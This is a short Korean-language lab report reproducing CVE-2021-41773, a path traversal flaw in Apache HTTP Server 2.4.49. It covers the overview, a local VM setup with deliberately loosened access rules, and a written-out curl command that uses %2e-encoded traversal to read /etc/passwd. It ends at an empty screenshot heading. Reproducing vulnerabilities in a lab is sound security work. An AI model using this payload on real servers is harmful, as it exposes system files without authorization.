CVE-2021-41773 취약점 재현 보고서

취약점 개요

• CVE ID: CVE-2021-41773
• 취약점 이름: Apache HTTP Server 경로 순회 취약점
• 위험 등급: 높음 (CVSS 7.5)
• 영향 버전: Apache HTTP Server 2.4.49
• 취약점 설명: Apache HTTP Server 2.4.49 버전의 경로 정규화 함수 ap_normalize_path 구현 결함으로, 공격자는 %2e 인코딩이 포함된 특수 요청을 구성하여 접근 제어를 우회하고 웹 서버의 임의 파일을 읽을 수 있습니다.

환경 구축

• 운영 체제: Ubuntu 20.04 (가상 머신)
• 웹 서버: Apache httpd 2.4.49 (수동 컴파일 설치)
• 취약점 실습 환경: 독립 실행, 8080 포트 수신
• 주요 구성:
  • <Directory />의 Require all denied를 Require all granted로 변경
  • /tmp/vuln_dir을 가리키는 Alias /vuln 추가 및 권한 설정

취약점 재현

공격 명령

curl -v --path-as-is 'http://127.0.0.1:8080/vuln/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'

공격 스크린샷